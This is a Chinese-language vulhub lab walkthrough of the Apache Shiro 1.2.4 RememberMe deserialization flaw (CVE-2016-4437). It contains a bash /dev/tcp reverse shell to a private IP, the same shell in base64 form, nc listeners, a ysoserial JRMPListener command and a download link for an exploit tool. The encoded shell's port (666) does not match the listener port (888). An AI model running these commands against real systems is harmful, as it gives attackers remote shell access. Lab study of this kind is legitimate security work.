vulhub/shiro/CVE-2016-4437
Apache shiro 1.2.4反序列化漏洞
漏洞原理shiro可以执行身份验证,授权,密码,会话管理,Apache Shiro框架提供了记住我的功能(RememberMe),用来记录用户的凭证,当用户提交时,会对用户的登录凭证进行序列化- >AES加密- >base64编码,同时,在服务器端识别用户身份时,会进行base64解码- >AES解码- >反序列化,问题出现在AES加密的密钥硬编码在代码里,所以只要攻击这通过源代码找到AES加密的密钥,就可以构造一个恶意对象,进行序列化- >AES加密- >base64编码,然后将其作为用户登录凭证放在RememberME字段中发送,Shiro对其进行解密和反序列化,从而造成反序列化漏洞
漏洞特征在返回包中存在rememberme=deleteme字段
影响版本Apache Shiro <=1.2.4
jar工具利用链接:https://pan.baidu.com/s/1YN8e7j8ZJU90MH8FeFEODg
提取码:rnzf
端口监听
nc -lvp 9999
BP抓包账号密码登录
admin/vulhub
添加ip:端口
ceye.io进行漏洞检测
反弹shell
查看端口
代码1.bash -i >& /dev/tcp/192.168.0.110/888 0>&1
加密:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEwLzY2NiAwPiYx}|{base64,-d}|{bash,-i}'
2.在攻击机上执行
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 888 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEwLzY2NiAwPiYx}|{base64,-d}|{bash,-i}'
3.使用py脚本生成payload
python exp.py 192.168.0.110:888
4.攻击机上监听端口888
nc -lvp 888
5.bp抓包,在rememberme中添加生成的payload
6.发送数据包,查看java监听端口和nc监听端口的结果



